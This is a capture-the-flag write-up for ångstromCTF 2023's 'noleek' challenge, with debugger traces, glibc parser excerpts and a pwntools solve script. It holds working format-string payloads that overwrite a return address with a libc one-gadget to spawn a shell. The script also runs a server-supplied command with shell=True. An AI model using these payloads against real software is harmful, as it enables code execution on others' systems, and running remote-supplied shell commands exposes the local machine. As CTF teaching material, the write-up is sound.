noleek | ångstromCTF 2023
Leakless format string exploitation
This write-up is also posted on my website at https://www.alexyzhang.dev/write-ups/angstromctf-2023/noleek/.
The Challenge
My code had a couple of pesky format string vulnerabilities that kept getting exploited…I’m sure it’ll fix itself if I just compile with RELRO and take away output…
We’re given a binary with source code:
#include <stdio.h>
#include <stdlib.h>
#define LEEK 32
void cleanup(int a, int b, int c) {}
int main(void) {
setbuf(stdout, NULL);
FILE* leeks = fopen("/dev/null", "w");
if (leeks == NULL) {
puts("wtf");
return 1;
}
printf("leek? ");
char inp[LEEK];
fgets(inp, LEEK, stdin);
fprintf(leeks, inp);
printf("more leek? ");
fgets(inp, LEEK, stdin);
fprintf(leeks, inp);
printf("noleek.\n");
cleanup(0, 0, 0);
return 0;
}
[fedora@fedora noleek]$ file noleek
noleek: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=07cfd746eba1468d59b47bae05e6420b85696e4b, for GNU/Linux 3.2.0, not stripped
[fedora@fedora noleek]$ checksec noleek
[*] '/home/fedora/noleek/noleek'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
There are two fprintf
calls with format strings that we control, but they go to /dev/null
so we don’t get any of the output.
There’s also full RELRO and PIE, so we have to overwrite the return address instead of the GOT in order to redirect execution.
I first checked if there is a usable one gadget:
[fedora@fedora noleek]$ one_gadget libc.so.6
0xc961a execve("/bin/sh", r12, r13)
constraints:
[r12] == NULL || r12 == NULL
[r13] == NULL || r13 == NULL
0xc961d execve("/bin/sh", r12, rdx)
constraints:
[r12] == NULL || r12 == NULL
[rdx] == NULL || rdx == NULL
0xc9620 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
[fedora@fedora noleek]$ gdb noleek_patched
...
gef➤ disas main
Dump of assembler code for function main:
...
0x0000000000001273 <+222>: mov edx,0x0
0x0000000000001278 <+227>: mov esi,0x0
0x000000000000127d <+232>: mov edi,0x0
0x0000000000001282 <+237>: call 0x1185 <cleanup>
0x0000000000001287 <+242>: mov eax,0x0
0x000000000000128c <+247>: leave
0x000000000000128d <+248>: ret
End of assembler dump.
gef➤ b *main+248
Breakpoint 1 at 0x128d
gef➤ r
Starting program: /home/fedora/noleek/noleek_patched
...
leek? foo
more leek? bar
noleek.
Breakpoint 1, 0x000055555555528d in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0
$rcx : 0x00007ffff7ee1833 → 0x5577fffff0003d48 ("H="?)
$rdx : 0x0
$rsp : 0x00007fffffffe0f8 → 0x00007ffff7e18d0a → <__libc_start_main+234> mov edi, eax
$rbp : 0x0000555555555290 → <__libc_csu_init+0> push r15
$rsi : 0x0
$rdi : 0x0
$rip : 0x000055555555528d → <main+248> ret
$r8 : 0x8
$r9 : 0x4
$r10 : 0x000055555555601b → "more leek? "
$r11 : 0x246
$r12 : 0x00005555555550a0 → <_start+0> xor ebp, ebp
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
───────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe0f8│+0x0000: 0x00007ffff7e18d0a → <__libc_start_main+234> mov edi, eax ← $rsp
0x00007fffffffe100│+0x0008: 0x00007fffffffe1e8 → 0x00007fffffffe492 → "/home/fedora/noleek/noleek_patched"
0x00007fffffffe108│+0x0010: 0x0000000100000000
0x00007fffffffe110│+0x0018: 0x0000555555555195 → <main+0> push rbp
0x00007fffffffe118│+0x0020: 0x00007ffff7e187cf → mov rbp, rax
0x00007fffffffe120│+0x0028: 0x0000000000000000
0x00007fffffffe128│+0x0030: 0xaa9bed2528a457b0
0x00007fffffffe130│+0x0038: 0x00005555555550a0 → <_start+0> xor ebp, ebp
─────────────────────────────────────────────────────────────── code:x86:64 ────
0x555555555282 <main+237> call 0x555555555185 <cleanup>
0x555555555287 <main+242> mov eax, 0x0
0x55555555528c <main+247> leave
→ 0x55555555528d <main+248> ret
↳ 0x7ffff7e18d0a <__libc_start_main+234> mov edi, eax
0x7ffff7e18d0c <__libc_start_main+236> call 0x7ffff7e30660 <exit>
0x7ffff7e18d11 <__libc_start_main+241> mov rax, QWORD PTR [rsp]
0x7ffff7e18d15 <__libc_start_main+245> lea rdi, [rip+0x171d0c] # 0x7ffff7f8aa28
0x7ffff7e18d1c <__libc_start_main+252> mov rsi, QWORD PTR [rax]
0x7ffff7e18d1f <__libc_start_main+255> xor eax, eax
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "noleek_patched", stopped 0x55555555528d in main (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x55555555528d → main()
────────────────────────────────────────────────────────────────────────────────
The last one gadget has its constraints satisfied when main
returns, so it looks like we need to compute the address of this one gadget and the address of the return address using format strings.
The good news is that since the fprintf
calls output to /dev/null
, we can write a ton of data and it won’t take forever.
Adding Numbers with Format Strings
The usual way do arbitrary write using format strings is to output a number of characters equal to the value that needs to be written using a format specifier with a minimum width like %42c
.
Then, the %n
format specifier can be used to write the value to some address in a register or on the stack.
If we can make fprintf
output a number of characters equal to some value in the registers or memory, we would be able to add something to that value by outputting additional characters and then write the sum using %n
.
I read the documentation from cppreference.com and the glibc manual, but I couldn’t figure out how to do this and got stuck for a while.
I guessed that there might be a way to specify a variable field width, so I searched up “printf variable width” and found this Stack Overflow answer.
It turns out that an asterisk can be used for the field width like %*c
and the value will be taken from an argument.
This was mentioned in the docs, but I missed it.
A small caveat is that the value will be interpreted as a signed integer and its absolute value will be used if it’s negative so this would only work around half of the time.
I came up with a plan:
- Find a pointer on the stack which points to a stack pointer on the stack.
- Use the first
fprintf
to read the four lower bytes of a stack pointer, add the offset to the address of the return address, and write that to the lower four bytes of an existing stack pointer on the stack using the pointer from step 1. - Use the second
fprintf
to read the four lower bytes of a libc pointer, add the offset to the address of the one gadget, and write that to the lower four bytes of the return address ofmain
using the pointer to the return address created in step 2. Note that the return address ofmain
should already be in libc.
Creating a Pointer to the Return Address
Initially, I didn’t know how the variable field width works with POSIX positional arguments.
I thought that maybe %9$*c
would take the width from the 9th argument and the value from the 10th argument.
There was a stack pointer on the stack at the position of the 9th argument, so I tried %9$*c
and it seemed to work except that the resulting value was a little different than what I expected.
It turns out that the width is just the next unused argument and there happened to be a stack pointer in the argument registers, so just %*c
would work.
Right before the first fprintf
call, there’s a stack pointer pointing to another stack pointer at rsp + 0x40
, which corresponds to the 13th argument.
gef➤ deref
0x00007fffffffe0c0│+0x0000: 0x000000000a6f6f66 ("foo\n"?) ← $rdx, $rsp, $rsi, $r8
0x00007fffffffe0c8│+0x0008: 0x0000000000000000
0x00007fffffffe0d0│+0x0010: 0x0000555555555290 → <__libc_csu_init+0> push r15
0x00007fffffffe0d8│+0x0018: 0x00005555555550a0 → <_start+0> xor ebp, ebp
0x00007fffffffe0e0│+0x0020: 0x00007fffffffe1e0 → 0x0000000000000001
0x00007fffffffe0e8│+0x0028: 0x000055555555b2a0 → 0x00000000fbad2484
0x00007fffffffe0f0│+0x0030: 0x0000555555555290 → <__libc_csu_init+0> push r15 ← $rbp
0x00007fffffffe0f8│+0x0038: 0x00007ffff7e18d0a → <__libc_start_main+234> mov edi, eax
0x00007fffffffe100│+0x0040: 0x00007fffffffe1e8 → 0x00007fffffffe491 → "/home/fedora/noleek/noleek_patched"
0x00007fffffffe108│+0x0048: 0x0000000100000000
I calculated the offset and was able to write the address of the return address onto the stack with %1$56c%*c%13$n
.
The %1$56c
outputs 56 characters, then the %*c
outputs a number of characters equal to the lower four bytes of the stack pointer in rdx
which is equal to rsp
.
Now the number of characters outputted is the lower four bytes of rsp + 56
, which is the address of the return address.
The %13$n
writes this value to the location pointed to by the 13th argument, overwriting the lower four bytes of the existing stack pointer on the stack.
GDB and GEF confirm that the value pointed to by the stack pointer at rsp + 0x40
is now a pointer to the return address:
gef➤ deref
0x00007ffe010d4320│+0x0000: "%42c%42$n\n" ← $rdx, $rsp, $rsi, $r8
0x00007ffe010d4328│+0x0008: 0x000a6e2433000a6e ("n\n"?)
0x00007ffe010d4330│+0x0010: 0x000055ba5459b290 → <__libc_csu_init+0> push r15
0x00007ffe010d4338│+0x0018: 0x000055ba5459b0a0 → <_start+0> xor ebp, ebp
0x00007ffe010d4340│+0x0020: 0x00007ffe010d4440 → 0x0000000000000001
0x00007ffe010d4348│+0x0028: 0x000055ba554402a0 → 0x00000000fbad2c84
0x00007ffe010d4350│+0x0030: 0x000055ba5459b290 → <__libc_csu_init+0> push r15 ← $rbp
0x00007ffe010d4358│+0x0038: 0x00007f980b405d0a → <__libc_start_main+234> mov edi, eax
0x00007ffe010d4360│+0x0040: 0x00007ffe010d4448 → 0x00007ffe010d4358 → 0x00007f980b405d0a → <__libc_start_main+234> mov edi, eax
0x00007ffe010d4368│+0x0048: 0x0000000100000000
Overwriting the Return Address
Now that there’s a pointer to the return address on the stack, we can overwrite the return address with the second fprintf
.
The pointer to the return address is at rsp + 0x128
, which is the 42nd argument.
As a test, I put %42c%42$n
for the second fprintf
to write 42
to the lower four bytes of the return address.
After the call, GDB shows that we have successfully overwrote those bytes with 42, which is 0x2a in hex:
0x00007ffc57b78de0│+0x0000: "%42c%42$n\n" ← $rsp
0x00007ffc57b78de8│+0x0008: 0x000a6e2433000a6e ("n\n"?)
0x00007ffc57b78df0│+0x0010: 0x0000556b035b4290 → <__libc_csu_init+0> push r15
0x00007ffc57b78df8│+0x0018: 0x0000556b035b40a0 → <_start+0> xor ebp, ebp
0x00007ffc57b78e00│+0x0020: 0x00007ffc57b78f00 → 0x0000000000000001
0x00007ffc57b78e08│+0x0028: 0x0000556b03bb92a0 → 0x00000000fbad2c84
0x00007ffc57b78e10│+0x0030: 0x0000556b035b4290 → <__libc_csu_init+0> push r15 ← $rbp
0x00007ffc57b78e18│+0x0038: 0x00007f6b0000002a ("*"?)
Next, we have to calculate the one gadget address.
The closest libc pointer is the original return address of main
, which is the 12th argument.
I therefore tried doing %c%c%c%c%c%c%c%c%c%c%678156c%*c%42$n
.
The part before the %*c
consumes 11 arguments and outputs 678166 bytes, which is the offset to the one gadget.
The %*c
adds this to the original return address and the %42$n
overwrites the return address with the result… except it didn’t work.
After some debugging, I figured out that the format string was just too long.
It had to be at most 31 characters because the inp
buffer is 32 characters long, and my payload is 36 characters.
Format String Golfing
I tried to think of ways to consume arguments using less characters than %c
.
%*c
consumes two arguments using only three characters, but it outputs a variable amount of characters so it wouldn’t work there.
I also found a Trail of Bits paper which suggested using multiple asterisks followed by a digit like %*****1c
, but that seemed to be outdated and didn’t work with the version of glibc here.
I thought that maybe there is some other quirk in the format string parsing code that I could exploit, so I decided to try reading the glibc source code.
I found the format string parsing code after some digging around. This is the code that handles variable width format specifies:
/* Get width from argument. */
LABEL (width_asterics):
{
const UCHAR_T *tmp; /* Temporary value. */
tmp = ++f;
if (ISDIGIT (*tmp))
{
int pos = read_int (&tmp);
if (pos == -1)
{
__set_errno (EOVERFLOW);
done = -1;
goto all_done;
}
if (pos && *tmp == L_('$'))
/* The width comes from a positional parameter. */
goto do_positional;
}
width = va_arg (ap, int);
/* Negative width means left justified. */
if (width < 0)
{
width = -width;
pad = L_(' ');
left = 1;
}
}
JUMP (*f, step1_jumps);
This part looks interesting:
if (pos && *tmp == L_('$'))
/* The width comes from a positional parameter. */
goto do_positional;
It looks like there’s a way to specify the width argument with a positional argument! When the code finds a positional argument, it switches to a different parser. Here’s the variable field width code from that parser:
if (*format == L_('*'))
{
/* The field width is given in an argument.
A negative field width indicates left justification. */
const UCHAR_T *begin = ++format;
if (ISDIGIT (*format))
{
/* The width argument might be found in a positional parameter. */
n = read_int (&format);
if (n != 0 && *format == L_('$'))
{
if (n != -1)
{
spec->width_arg = n - 1;
*max_ref_arg = MAX (*max_ref_arg, n);
}
++format; /* Skip '$'. */
}
}
if (spec->width_arg < 0)
{
/* Not in a positional parameter. Consume one argument. */
spec->width_arg = posn++;
++nargs;
format = begin; /* Step back and reread. */
}
}
So instead of consuming arguments with %c
, we can just use %*12$c
and that will use the 12th argument as the width.
Now the second format string can be shortened to %*12$c%678166c%42$n
, and after a few tries I was able to get a shell:
[fedora@fedora noleek]$ ./solve.py REMOTE
[*] '/home/fedora/noleek/noleek_patched'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[*] '/home/fedora/noleek/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/fedora/noleek/ld-linux-x86-64.so.2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to challs.actf.co on port 31400: Done
[*] Switching to interactive mode
$ ls
$ ls
$ ls
noleek.
flag.txt
run
flag.txt
run
flag.txt
run
$ cat flag.txt
actf{t0_l33k_0r_n0t_t0_l33k_th4t_1s_th3_qu3sti0n}
Here’s the solve script, which simply solves the POW and then sends the two format strings:
#!/usr/bin/env python3
import subprocess
from pwn import *
exe = ELF("noleek_patched")
libc = ELF("libc.so.6")
ld = ELF("ld-linux-x86-64.so.2")
context.binary = exe
if args.REMOTE:
r = remote("challs.actf.co", 31400)
r.recvuntil(b"work: ")
cmd = r.recvlineS()
r.sendafter(b"solution: ", subprocess.run(cmd, shell=True, capture_output=True).stdout)
else:
r = process([exe.path])
if args.GDB:
gdb.attach(r, "b *main+205\nb *main+248\nc")
r.sendlineafter(b"leek? ", b"%1$56c%*c%13$n")
r.sendlineafter(b"leek? ", b"%*12$c%678166c%42$n")
r.interactive()
While writing this write-up, I found out that the syntax which allows variable widths to be specified using positional arguments is mentioned in the POSIX standard and the Stack Overflow answer right after the one that I read.